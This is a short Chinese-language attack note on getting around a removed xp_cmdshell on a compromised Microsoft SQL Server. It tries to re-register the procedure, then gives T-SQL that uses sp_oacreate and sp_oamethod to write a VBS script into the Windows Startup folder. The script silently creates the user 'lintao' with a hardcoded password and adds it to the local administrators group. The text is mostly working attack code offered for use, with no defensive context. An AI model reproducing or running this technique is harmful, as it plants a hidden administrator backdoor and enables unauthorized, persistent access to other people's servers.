解决MSSQL的xp_cmdshell被删除的问题：
先尝试恢复xp_cmdshell，sp_addextendedproc xp_cmdshell, xpsql70.dll，
结果发现xpsql70.dll被删除。
然后写vbs文件到启动组里面：
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate scripting.filesystemobject, @o out
exec sp_oamethod @o, createtextfile, @f out,
c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs, 1
exec @ret = sp_oamethod @f, writeline, NULL,
set wshshell=createobject("wscript.shell")
exec @ret = sp_oamethod @f, writeline, NULL,
a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)
exec @ret = sp_oamethod @f, writeline, NULL,
b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)
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